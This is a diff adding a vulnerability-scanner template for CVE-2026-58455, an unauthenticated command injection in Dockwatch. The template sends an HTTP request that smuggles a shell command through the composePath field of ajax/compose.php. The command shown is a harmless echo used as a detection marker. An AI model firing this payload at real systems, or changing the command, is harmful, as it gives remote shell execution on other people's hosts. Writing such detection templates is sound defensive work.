CVE-2026-58455 - Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection

http/cves/2026/CVE-2026-58455.yaml

@@ -0,0 +1,60 @@
+id: CVE-2026-58455
+
+info:
+  name: Dockwatch <= 0.6.567 - Unauthenticated OS Command Injection
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.
+  impact: |
+    Remote attackers can execute arbitrary shell commands, potentially leading to full host compromise.
+  remediation: |
+    Update to the latest version that fixes the authentication and input validation issues.
+  reference:
+    - https://github.com/Notifiarr/dockwatch/pull/135
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-58455
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2026-58455
+    cwe-id: CWE-78
+    epss-score: 0.0119
+  metadata:
+    max-request: 2
+    vendor: notifiarr
+    product: dockwatch
+    shodan-query: title:"Dockwatch"
+  tags: cve,cve2026,dockwatch,rce,unauth
+
+flow: http(1) && http(2)
+
+variables:
+  cmd: "echo CVE-2026-58455 | rev"
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "Dockwatch")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        POST /ajax/compose.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        m=composePull&composePath=x;{{cmd}};#
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '55845-2602-EVC'